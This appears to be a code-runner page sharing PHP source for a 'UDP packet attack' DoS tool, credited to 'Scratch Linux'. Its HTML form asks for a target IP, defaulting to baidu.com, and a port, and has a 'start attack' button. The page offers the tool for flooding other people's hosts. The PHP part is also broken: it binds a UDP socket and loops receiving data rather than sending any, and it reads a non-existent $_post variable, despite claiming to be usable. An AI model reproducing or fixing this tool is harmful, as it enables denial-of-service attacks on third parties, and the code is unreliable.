php数据包发送_udp方式(源码_可用)

Run Settings
LanguagePHP
Language Version
Run Command
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="author" content=""> <title>在线PHP数据包攻击_udp </title> </head> <!-- PHP DOS, coded by Scratch Linux --> <style type="text/css"> <!-- body { font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; line-height: normal; color: #FFFFFF; background-color: #000000; } --> </style> <!-- PHP DOS, coded by Scratch Linux --> <body> <center><br><br> <img src="http://tool.cccyun.cc/tool/ddos/main.jpg"><br> <b>您的IP:</b> <font color="red"><?php if(getenv('HTTP_CLIENT_IP')){ $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')){ $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')){ $onlineip = getenv('REMOTE_ADDR'); } else{ $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } echo $onlineip; ?></font>&nbsp;(请不要随意攻击,避免数据堵塞导致死机)<br><br> <form name="input" action="udp.php" method="post"> 目标IP: <input type="text" name="http" size="15" maxlength="15" class="main" value = "baidu.com" onblur = "if ( this.value=='' ) this.value = 'baidu.com';" onfocus = " if ( this.value == 'baidu.com' ) this.value = '';"> &nbsp;&nbsp;&nbsp;&nbsp;端口: <input type="text" name="time" size="14" maxlength="20" class="main" value = "80" onblur = "if ( this.value=='' ) this.value = '80';" onfocus = " if ( this.value == '80' ) this.value = '';"> <br><br> <input type="submit" value="开始攻击"> <br><br> <center> 如果正在攻击中,请等待页面加载完成... </center> </form> </center> <!-- PHP DOS, coded by Scratch Linux --> </body> </html>
<?php $host = $_post[http]; $port = $_post[time]; //error_reporting( E_ALL ); set_time_limit( 5 ); ob_implicit_flush(); $socket = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP ); if ( $socket === false ) { echo "socket_create() failed:reason:" . socket_strerror( socket_last_error() ) . "\n"; } $ok = socket_bind( $socket, $host, $port ); if ( $ok === false ) { echo "socket_bind() failed:reason:" . socket_strerror( socket_last_error( $socket ) ); } while ( true ) { $from = ""; $port = 0; socket_recvfrom( $socket, $buf,1024, 0, $from, $port ); echo $buf; usleep( 1000 ); } ?>
Editor Settings
Theme
Key bindings
Full width
Lines